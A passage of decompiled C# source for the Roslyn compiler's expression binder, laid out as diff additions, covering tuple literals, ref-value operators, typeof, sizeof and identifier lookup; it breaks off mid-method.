BoundExpression BindDeclarationVariablesForErrorRecovery(TypeWithAnnotations declTypeWithAnnotations, VariableDesignationSyntax node, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + declTypeWithAnnotations = (declTypeWithAnnotations.HasType ? declTypeWithAnnotations : TypeWithAnnotations.Create(CreateErrorType("var"))); + switch (node.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + SingleVariableDesignationSyntax designation = (SingleVariableDesignationSyntax)node; + BoundExpression expression = BindDeconstructionVariable(declTypeWithAnnotations, designation, syntax, diagnostics); + return BindToTypeForErrorRecovery(expression); + } + case SyntaxKind.DiscardDesignation: + return BindDiscardExpression((SyntaxNode)(object)syntax, declTypeWithAnnotations); + case SyntaxKind.ParenthesizedVariableDesignation: + { + ParenthesizedVariableDesignationSyntax obj = (ParenthesizedVariableDesignationSyntax)node; + int count = obj.Variables.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + ArrayBuilder inferredElementNames = ArrayBuilder.GetInstance(count); + Enumerator enumerator = obj.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + instance.Add(BindDeclarationVariablesForErrorRecovery(declTypeWithAnnotations, current, current, diagnostics)); + inferredElementNames.Add(InferTupleElementName((SyntaxNode)(object)current)); + } + ImmutableArray immutableArray = instance.ToImmutableAndFree(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + RemoveDuplicateInferredTupleNamesAndFreeIfEmptied(ref inferredElementNames, (HashSet)(object)instance2); + instance2.Free(); + ImmutableArray immutableArray2 = inferredElementNames?.ToImmutableAndFree() ?? default(ImmutableArray); + ImmutableArray immutableArray3 = (immutableArray2.IsDefault ? default(ImmutableArray) : ImmutableArrayExtensions.SelectAsArray(immutableArray2, (Func)((string n) => n != null))); + bool flag = Compilation.LanguageVersion.DisallowInferredTupleElementNames(); + NamedTypeSymbol type = NamedTypeSymbol.CreateTuple(null, ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((BoundExpression e) => TypeWithAnnotations.Create(e.Type))), default(ImmutableArray), immutableArray2, Compilation, shouldCheckConstraints: false, includeNullability: false, flag ? immutableArray3 : default(ImmutableArray)); + return new BoundConvertedTupleLiteral((SyntaxNode)(object)syntax, null, wasTargetTyped: true, immutableArray, immutableArray2, immutableArray3, type); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + } + + private BoundExpression BindTupleExpression(TupleExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Invalid comparison between Unknown and I4 + MessageID.IDS_FeatureTuples.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + SeparatedSyntaxList arguments = node.Arguments; + int count = arguments.Count; + if (count < 2) + { + ImmutableArray childNodes = ((count == 1) ? ImmutableArray.Create(BindValue(arguments[0].Expression, diagnostics, BindValueKind.RValue)) : ImmutableArray.Empty); + return BadExpression((SyntaxNode)(object)node, childNodes); + } + bool flag = true; + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(arguments.Count); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(arguments.Count); + (ImmutableArray elementNamesArray, ImmutableArray inferredArray, bool hasErrors) tuple = ExtractTupleElementNames(arguments, diagnostics); + ImmutableArray item = tuple.elementNamesArray; + ImmutableArray item2 = tuple.inferredArray; + bool item3 = tuple.hasErrors; + for (int i = 0; i < count; i++) + { + ArgumentSyntax argumentSyntax = arguments[i]; + IdentifierNameSyntax identifierNameSyntax = argumentSyntax.NameColon?.Name; + if (identifierNameSyntax != null) + { + instance3.Add(((SyntaxNode)identifierNameSyntax).Location); + } + else + { + instance3.Add(((SyntaxNode)argumentSyntax).Location); + } + BoundExpression boundExpression = BindValue(argumentSyntax.Expression, diagnostics, BindValueKind.RValue); + TypeSymbol? type = boundExpression.Type; + if ((object)type != null && (int)type.SpecialType == 6) + { + diagnostics.Add(ErrorCode.ERR_VoidInTuple, ((SyntaxNode)argumentSyntax).Location); + boundExpression = new BoundBadExpression((SyntaxNode)(object)argumentSyntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(boundExpression), CreateErrorType("void")); + } + instance.Add(boundExpression); + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.Create(boundExpression.Type); + instance2.Add(typeWithAnnotations); + if (!typeWithAnnotations.HasType) + { + flag = false; + } + } + NamedTypeSymbol type2 = null; + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + ImmutableArray immutableArray2 = instance3.ToImmutableAndFree(); + if (flag) + { + bool flag2 = Compilation.LanguageVersion.DisallowInferredTupleElementNames(); + type2 = NamedTypeSymbol.CreateTuple(((SyntaxNode)node).Location, immutableArray, immutableArray2, item, Compilation, shouldCheckConstraints: true, includeNullability: false, syntax: node, diagnostics: diagnostics, errorPositions: flag2 ? item2 : default(ImmutableArray)); + } + else + { + NamedTypeSymbol.VerifyTupleTypePresent(immutableArray.Length, node, Compilation, diagnostics); + } + return new BoundTupleLiteral((SyntaxNode)(object)node, instance.ToImmutableAndFree(), item, item2, type2, item3); + } + + private static (ImmutableArray elementNamesArray, ImmutableArray inferredArray, bool hasErrors) ExtractTupleElementNames(SeparatedSyntaxList arguments, BindingDiagnosticBag diagnostics) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + bool item = false; + int count = arguments.Count; + PooledHashSet instance = PooledHashSet.GetInstance(); + ArrayBuilder elementNames = null; + ArrayBuilder elementNames2 = null; + for (int i = 0; i < count; i++) + { + ArgumentSyntax argumentSyntax = arguments[i]; + IdentifierNameSyntax identifierNameSyntax = argumentSyntax.NameColon?.Name; + string name = null; + string name2 = null; + if (identifierNameSyntax != null) + { + SyntaxToken identifier = identifierNameSyntax.Identifier; + name = ((SyntaxToken)(ref identifier)).ValueText; + if (diagnostics != null && !CheckTupleMemberName(name, i, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)argumentSyntax.NameColon.Name), diagnostics, instance)) + { + item = true; + } + } + else + { + name2 = InferTupleElementName((SyntaxNode)(object)argumentSyntax.Expression); + } + CollectTupleFieldMemberName(name, i, count, ref elementNames); + CollectTupleFieldMemberName(name2, i, count, ref elementNames2); + } + RemoveDuplicateInferredTupleNamesAndFreeIfEmptied(ref elementNames2, (HashSet)(object)instance); + instance.Free(); + (ImmutableArray, ImmutableArray) tuple = MergeTupleElementNames(elementNames, elementNames2); + elementNames?.Free(); + elementNames2?.Free(); + return (elementNamesArray: tuple.Item1, inferredArray: tuple.Item2, hasErrors: item); + } + + private static (ImmutableArray names, ImmutableArray inferred) MergeTupleElementNames(ArrayBuilder elementNames, ArrayBuilder inferredElementNames) + { + if (elementNames == null) + { + if (inferredElementNames == null) + { + return (names: default(ImmutableArray), inferred: default(ImmutableArray)); + } + ImmutableArray immutableArray = inferredElementNames.ToImmutable(); + return (names: immutableArray, inferred: ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((string n) => n != null))); + } + if (inferredElementNames == null) + { + return (names: elementNames.ToImmutable(), inferred: default(ImmutableArray)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(elementNames.Count); + for (int num = 0; num < elementNames.Count; num++) + { + string text = inferredElementNames[num]; + if (elementNames[num] == null && text != null) + { + elementNames[num] = text; + instance.Add(true); + } + else + { + instance.Add(false); + } + } + return (names: elementNames.ToImmutable(), inferred: instance.ToImmutableAndFree()); + } + + private static void RemoveDuplicateInferredTupleNamesAndFreeIfEmptied(ref ArrayBuilder inferredElementNames, HashSet uniqueFieldNames) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (inferredElementNames == null) + { + return; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + Enumerator enumerator = inferredElementNames.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (current != null && !uniqueFieldNames.Add(current)) + { + ((HashSet)(object)instance).Add(current); + } + } + for (int i = 0; i < inferredElementNames.Count; i++) + { + string text = inferredElementNames[i]; + if (text != null && ((HashSet)(object)instance).Contains(text)) + { + inferredElementNames[i] = null; + } + } + instance.Free(); + if (ArrayBuilderExtensions.All(inferredElementNames, (Func)((string n) => n == null))) + { + inferredElementNames.Free(); + inferredElementNames = null; + } + } + + private static string InferTupleElementName(SyntaxNode syntax) + { + string text = syntax.TryGetInferredMemberName(); + if (text == null || NamedTypeSymbol.IsTupleElementNameReserved(text) != -1) + { + return null; + } + return text; + } + + private BoundExpression BindRefValue(RefValueExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindValue(node.Expression, diagnostics, BindValueKind.RValue); + bool hasErrors = boundExpression.HasAnyErrors; + TypeSymbol specialType = Compilation.GetSpecialType((SpecialType)36); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(boundExpression, specialType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!conversion.IsImplicit || !conversion.IsValid) + { + hasErrors = true; + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, boundExpression, specialType); + } + boundExpression = CreateConversion(boundExpression, conversion, specialType, diagnostics); + TypeWithAnnotations typeWithAnnotations = BindType(node.Type, diagnostics); + return new BoundRefValueOperator((SyntaxNode)(object)node, typeWithAnnotations.NullableAnnotation, boundExpression, typeWithAnnotations.Type, hasErrors); + } + + private BoundExpression BindMakeRef(MakeRefExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindValue(node.Expression, diagnostics, BindValueKind.RefOrOut); + bool hasErrors = boundExpression.HasAnyErrors; + TypeSymbol specialType = GetSpecialType((SpecialType)36, diagnostics, (SyntaxNode)(object)node); + if ((object)boundExpression.Type != null && boundExpression.Type.IsRestrictedType()) + { + Error(diagnostics, ErrorCode.ERR_MethodArgCantBeRefAny, (CSharpSyntaxNode)node, new object[1] { boundExpression.Type }); + hasErrors = true; + } + return new BoundMakeRefOperator((SyntaxNode)(object)node, boundExpression, specialType, hasErrors); + } + + private BoundExpression BindRefType(RefTypeExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindValue(node.Expression, diagnostics, BindValueKind.RValue); + bool hasErrors = boundExpression.HasAnyErrors; + TypeSymbol specialType = Compilation.GetSpecialType((SpecialType)36); + TypeSymbol wellKnownType = GetWellKnownType((WellKnownType)61, diagnostics, (SyntaxNode)(object)node); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(boundExpression, specialType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!conversion.IsImplicit || !conversion.IsValid) + { + hasErrors = true; + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, boundExpression, specialType); + } + boundExpression = CreateConversion(boundExpression, conversion, specialType, diagnostics); + return new BoundRefTypeOperator((SyntaxNode)(object)node, boundExpression, null, wellKnownType, hasErrors); + } + + private BoundExpression BindArgList(CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + TypeSymbol specialType = GetSpecialType((SpecialType)38, diagnostics, (SyntaxNode)(object)node); + MethodSymbol methodSymbol = ContainingMember() as MethodSymbol; + bool hasErrors = false; + if ((object)methodSymbol == null || !methodSymbol.IsVararg) + { + Error(diagnostics, ErrorCode.ERR_ArgsInvalid, node); + hasErrors = true; + } + else if (ContainingMemberOrLambda != methodSymbol) + { + Error(diagnostics, ErrorCode.ERR_SpecialByRefInLambda, node, specialType); + hasErrors = true; + } + return new BoundArgList((SyntaxNode)(object)node, specialType, hasErrors); + } + + private BoundExpression BindQualifiedName(QualifiedNameSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return BindMemberAccessWithBoundLeft(node, BindLeftOfPotentialColorColorMemberAccess(node.Left, diagnostics), node.Right, node.DotToken, invoked: false, indexed: false, diagnostics); + } + + private BoundExpression BindParenthesizedExpression(ExpressionSyntax innerExpression, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindExpression(innerExpression, diagnostics); + CheckNotNamespaceOrType(boundExpression, diagnostics); + return boundExpression; + } + + private BoundExpression BindTypeOf(TypeOfExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + ExpressionSyntax type = node.Type; + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = new TypeofBinder(type, this).BindType(type, diagnostics, out alias); + TypeSymbol type2 = typeWithAnnotations.Type; + bool hasErrors = false; + if (type2.IsDynamic()) + { + diagnostics.Add(ErrorCode.ERR_BadDynamicTypeof, ((SyntaxNode)node).Location); + hasErrors = true; + } + else if (typeWithAnnotations.NullableAnnotation.IsAnnotated() && type2.IsReferenceType) + { + diagnostics.Add(ErrorCode.ERR_BadNullableTypeof, ((SyntaxNode)node).Location); + hasErrors = true; + } + BoundTypeExpression sourceType = new BoundTypeExpression((SyntaxNode)(object)type, alias, typeWithAnnotations, type2.IsErrorType()); + return new BoundTypeOfOperator((SyntaxNode)(object)node, sourceType, null, GetWellKnownType((WellKnownType)61, diagnostics, (SyntaxNode)(object)node), hasErrors); + } + + private void CheckDisallowedAttributeDependentType(TypeWithAnnotations typeArgument, NameSyntax attributeName, BindingDiagnosticBag diagnostics) + { + typeArgument.VisitType(null, delegate(TypeWithAnnotations typeWithAnnotations, (NameSyntax attributeName, BindingDiagnosticBag diagnostics) arg, bool _) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Invalid comparison between Unknown and I4 + (NameSyntax attributeName, BindingDiagnosticBag diagnostics) tuple = arg; + NameSyntax item = tuple.attributeName; + BindingDiagnosticBag item2 = tuple.diagnostics; + TypeSymbol type = typeWithAnnotations.Type; + if (type.IsDynamic() || (typeWithAnnotations.NullableAnnotation.IsAnnotated() && !type.IsValueType) || type.IsNativeIntegerWrapperType || (type.IsTupleType && !type.TupleElementNames.IsDefault)) + { + item2.Add(ErrorCode.ERR_AttrDependentTypeNotAllowed, (SyntaxNode)(object)item, type); + return true; + } + if (type.IsUnboundGenericType() || (int)type.Kind == 17) + { + item2.Add(ErrorCode.ERR_AttrTypeArgCannotBeTypeVar, (SyntaxNode)(object)item, type); + return true; + } + return false; + }, null, (attributeName, diagnostics)); + } + + private BoundExpression BindSizeOf(SizeOfExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + ExpressionSyntax type = node.Type; + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindType(type, diagnostics, out alias); + TypeSymbol type2 = typeWithAnnotations.Type; + bool hasErrors = type2.IsErrorType() || CheckManagedAddr(Compilation, type2, ((SyntaxNode)node).Location, diagnostics); + BoundTypeExpression sourceType = new BoundTypeExpression((SyntaxNode)(object)type, alias, typeWithAnnotations, hasErrors); + ConstantValue constantSizeOf = GetConstantSizeOf(type2); + bool hasErrors2 = constantSizeOf == null && ReportUnsafeIfNotAllowed((SyntaxNode)(object)node, diagnostics, type2); + return new BoundSizeOfOperator((SyntaxNode)(object)node, sourceType, constantSizeOf, GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)node), hasErrors2); + } + + internal static bool CheckManagedAddr(CSharpCompilation compilation, TypeSymbol type, Location location, BindingDiagnosticBag diagnostics, bool errorForManaged = false) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, compilation.Assembly); + ManagedKind managedKind = type.GetManagedKind(ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(location, useSiteInfo); + return CheckManagedAddr(compilation, type, managedKind, location, diagnostics, errorForManaged); + } + + internal static bool CheckManagedAddr(CSharpCompilation compilation, TypeSymbol type, ManagedKind managedKind, Location location, BindingDiagnosticBag diagnostics, bool errorForManaged = false) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected I4, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + switch ((int)managedKind) + { + case 3: + if (errorForManaged) + { + diagnostics.Add(ErrorCode.ERR_ManagedAddr, location, type); + return true; + } + diagnostics.Add(ErrorCode.WRN_ManagedAddr, location, type); + return false; + case 2: + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureUnmanagedConstructedTypes.GetFeatureAvailabilityDiagnosticInfo(compilation); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnostics.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, location); + return true; + } + break; + } + case 0: + throw ExceptionUtilities.UnexpectedValue((object)managedKind); + } + return false; + } + + internal static ConstantValue GetConstantSizeOf(TypeSymbol type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ConstantValue.CreateSizeOf((type.GetEnumUnderlyingType() ?? type).SpecialType); + } + + private BoundExpression BindDefaultExpression(DefaultExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureDefault.CheckFeatureAvailability(diagnostics, node.Keyword); + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindType(node.Type, diagnostics, out alias); + BoundTypeExpression targetType = new BoundTypeExpression((SyntaxNode)(object)node.Type, alias, typeWithAnnotations); + TypeSymbol type = typeWithAnnotations.Type; + return new BoundDefaultExpression((SyntaxNode)(object)node, targetType, type.GetDefaultValue(), type); + } + + private BoundExpression BindIdentifier(SimpleNameSyntax node, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Invalid comparison between Unknown and I4 + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Invalid comparison between Unknown and I4 + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNode)node).IsMissing) + { + return BadExpression((SyntaxNode)(object)node); + } + bool flag = node.Arity > 0; + SeparatedSyntaxList val = (SeparatedSyntaxList)((node.Kind() == SyntaxKind.GenericName) ? ((GenericNameSyntax)node).TypeArgumentList.Arguments : default(SeparatedSyntaxList)); + ImmutableArray typeArguments = (flag ? BindTypeArguments(val, diagnostics) : default(ImmutableArray)); + LookupResult instance = LookupResult.GetInstance(); + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupIdentifier(instance, node, invoked, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BoundExpression boundExpression2; + if (instance.Kind != LookupResultKind.Empty) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + bool wasError; + Symbol symbol = GetSymbolOrMethodOrPropertyGroup(instance, (SyntaxNode)(object)node, valueText, node.Arity, instance2, diagnostics, out wasError, null); + if ((object)symbol == null) + { + BoundExpression boundExpression = SynthesizeMethodGroupReceiver(node, instance2); + boundExpression2 = ConstructBoundMemberGroupAndReportOmittedTypeArguments((SyntaxNode)(object)node, val, typeArguments, boundExpression, valueText, instance2, instance, (boundExpression != null) ? BoundMethodGroupFlags.HasImplicitReceiver : BoundMethodGroupFlags.None, wasError, diagnostics); + ReportSimpleProgramLocalReferencedOutsideOfTopLevelStatement(node, instance2[0], diagnostics); + } + else + { + bool flag2 = (int)symbol.Kind == 11 || (int)symbol.Kind == 4; + if (flag && flag2) + { + symbol = ConstructNamedTypeUnlessTypeArgumentOmitted((SyntaxNode)(object)node, (NamedTypeSymbol)symbol, val, typeArguments, diagnostics); + } + boundExpression2 = BindNonMethod(node, symbol, diagnostics, instance.Kind, indexed, wasError); + if (!flag2 && (flag || node.Kind() == SyntaxKind.GenericName)) + { + boundExpression2 = new BoundBadExpression((SyntaxNode)(object)node, LookupResultKind.WrongArity, ImmutableArray.Create(symbol), ImmutableArray.Create(BindToTypeForErrorRecovery(boundExpression2)), boundExpression2.Type, wasError); + } + } + reportPrimaryConstructorParameterShadowing(node, symbol ?? instance2[0], valueText, invoked, instance, instance2, diagnostics); + instance2.Free(); + } + else + { + boundExpression2 = null; + if (node is IdentifierNameSyntax node2) + { + NamedTypeSymbol namedTypeSymbol = BindNativeIntegerSymbolIfAny(node2, diagnostics); + if ((object)namedTypeSymbol != null) + { + boundExpression2 = new BoundTypeExpression((SyntaxNode)(object)node, null, namedTypeSymbol); + } + else if (FallBackOnDiscard(node2, diagnostics)) + { + boundExpression2 = new BoundDiscardExpression((SyntaxNode)(object)node, NullableAnnotation.Annotated, isInferred: true, null); + } + } + if (boundExpression2 == null) + { + boundExpression2 = BadExpression((SyntaxNode)(object)node); + if (instance.Error != null) + { + Error(diagnostics, instance.Error, (SyntaxNode)(object)node); + } + else if (IsJoinRangeVariableInLeftKey(node)) + { + Error(diagnostics, ErrorCode.ERR_QueryOuterKey, (CSharpSyntaxNode)node, new object[1] { valueText }); + } + else if (IsInJoinRightKey(node)) + { + Error(diagnostics, ErrorCode.ERR_QueryInnerKey, (CSharpSyntaxNode)node, new object[1] { valueText }); + } + else + { + Error(diagnostics, ErrorCode.ERR_NameNotInContext, (CSharpSyntaxNode)node, new object[1] { valueText }); + } + } + } + instance.Free(); + return boundExpression2; + void reportPrimaryConstructorParameterShadowing(SimpleNameSyntax simpleNameSyntax, Symbol symbol2, string name, bool invoked2, LookupResult lookupResult, ArrayBuilder members, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Invalid comparison between Unknown and I4 + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + if (symbol2.ContainingSymbol is NamedTypeSymbol { OriginalDefinition: var originalDefinition }) + { + NamedTypeSymbol containingType = ContainingType; + if (containingType is SourceMemberContainerTypeSymbol { IsRecord: false, IsRecordStruct: false } sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && primaryConstructor.ParameterCount != 0) + { + NamedTypeSymbol originalDefinition2 = containingType.OriginalDefinition; + Symbol symbol3 = ContainingMember(); + if ((object)symbol3 != null && (int)symbol3.Kind != 11 && !symbol3.IsStatic && ImmutableArrayExtensions.Any(primaryConstructor.Parameters, (Func)((ParameterSymbol p, string text) => p.Name == text), name) && (object)originalDefinition != originalDefinition2 && !ArrayBuilderExtensions.Any(members, (Func)((Symbol m, NamedTypeSymbol containingTypeDefinition) => (object)m.ContainingSymbol.OriginalDefinition == containingTypeDefinition), originalDefinition2)) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = originalDefinition2.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null && (object)originalDefinition != baseTypeNoUseSiteDiagnostics.OriginalDefinition) + { + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.OriginalDefinition.BaseTypeNoUseSiteDiagnostics; + } + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + Binder binder = this; + while (binder != null && (!(binder is InContainerBinder { Container: var container }) || (object)container.OriginalDefinition != originalDefinition2)) + { + binder = binder.Next; + } + if (binder != null) + { + Binder next = binder.Next; + if (next != null) + { + lookupResult.Clear(); + CompoundUseSiteInfo useSiteInfo2 = CompoundUseSiteInfo.Discarded; + next.LookupIdentifier(lookupResult, simpleNameSyntax, invoked2, ref useSiteInfo2); + if (lookupResult.Kind != LookupResultKind.Empty) + { + members.Clear(); + if (GetSymbolOrMethodOrPropertyGroup(lookupResult, (SyntaxNode)(object)simpleNameSyntax, name, simpleNameSyntax.Arity, members, bindingDiagnosticBag, out var _, null) is ParameterSymbol parameterSymbol && (object)parameterSymbol.ContainingSymbol == primaryConstructor && !primaryConstructor.GetParametersPassedToTheBase().Contains(parameterSymbol)) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase, ((SyntaxNode)simpleNameSyntax).Location, parameterSymbol); + } + } + } + } + } + } + } + } + } + } + } + + private void LookupIdentifier(LookupResult lookupResult, SimpleNameSyntax node, bool invoked, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + LookupOptions lookupOptions = LookupOptions.AllMethodsOnArityZero; + if (invoked) + { + lookupOptions |= LookupOptions.MustBeInvocableIfMember; + } + if (!IsInMethodBody && !IsInsideNameof) + { + lookupOptions |= LookupOptions.MustNotBeMethodTypeParameter; + } + SyntaxToken identifier = node.Identifier; + LookupSymbolsWithFallback(lookupResult, ((SyntaxToken)(ref identifier)).ValueText, node.Arity, ref useSiteInfo, null, lookupOptions); + } + + private static bool FallBackOnDiscard(IdentifierNameSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if (!node.Identifier.IsUnderscoreToken()) + { + return false; + } + int num; + if (node.GetContainingDeconstruction() == null) + { + num = (IsOutVarDiscardIdentifier(node) ? 1 : 0); + if (num == 0) + { + goto IL_0031; + } + } + else + { + num = 1; + } + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureDiscards, diagnostics); + goto IL_0031; + IL_0031: + return (byte)num != 0; + } + + private static bool IsOutVarDiscardIdentifier(SimpleNameSyntax node) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode parent = node.Parent; + if (parent != null && parent.Kind() == SyntaxKind.Argument) + { + return ((ArgumentSyntax)parent).RefOrOutKeyword.Kind() == SyntaxKind.OutKeyword; + } + return false; + } + + private BoundExpression SynthesizeMethodGroupReceiver(CSharpSyntaxNode syntax, ArrayBuilder members) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType == null) + { + return null; + } + NamedTypeSymbol containingType2 = members[0].ContainingType; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (containingType.IsEqualToOrDerivedFrom(containingType2, (TypeCompareKind)0, ref useSiteInfo) || (containingType.IsInterface && (containingType2.IsObjectType() || containingType.AllInterfacesNoUseSiteDiagnostics.Contains(containingType2)))) + { + return ThisReference((SyntaxNode)(object)syntax, containingType, hasErrors: false, wasCompilerGenerated: true); + } + return TryBindInteractiveReceiver((SyntaxNode)(object)syntax, containingType2); + } + + private bool IsBadLocalOrParameterCapture(Symbol symbol, TypeSymbol type, RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + if (((int)refKind != 0 || type.IsRestrictedType()) && ContainingMemberOrLambda is MethodSymbol methodSymbol && (object)symbol.ContainingSymbol != methodSymbol) + { + if ((int)methodSymbol.MethodKind == 0 || (int)methodSymbol.MethodKind == 17) + { + return !IsInsideNameof; + } + return false; + } + return false; + } + + private BoundExpression BindNonMethod(SimpleNameSyntax node, Symbol symbol, BindingDiagnosticBag diagnostics, LookupResultKind resultKind, bool indexed, bool isError) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type 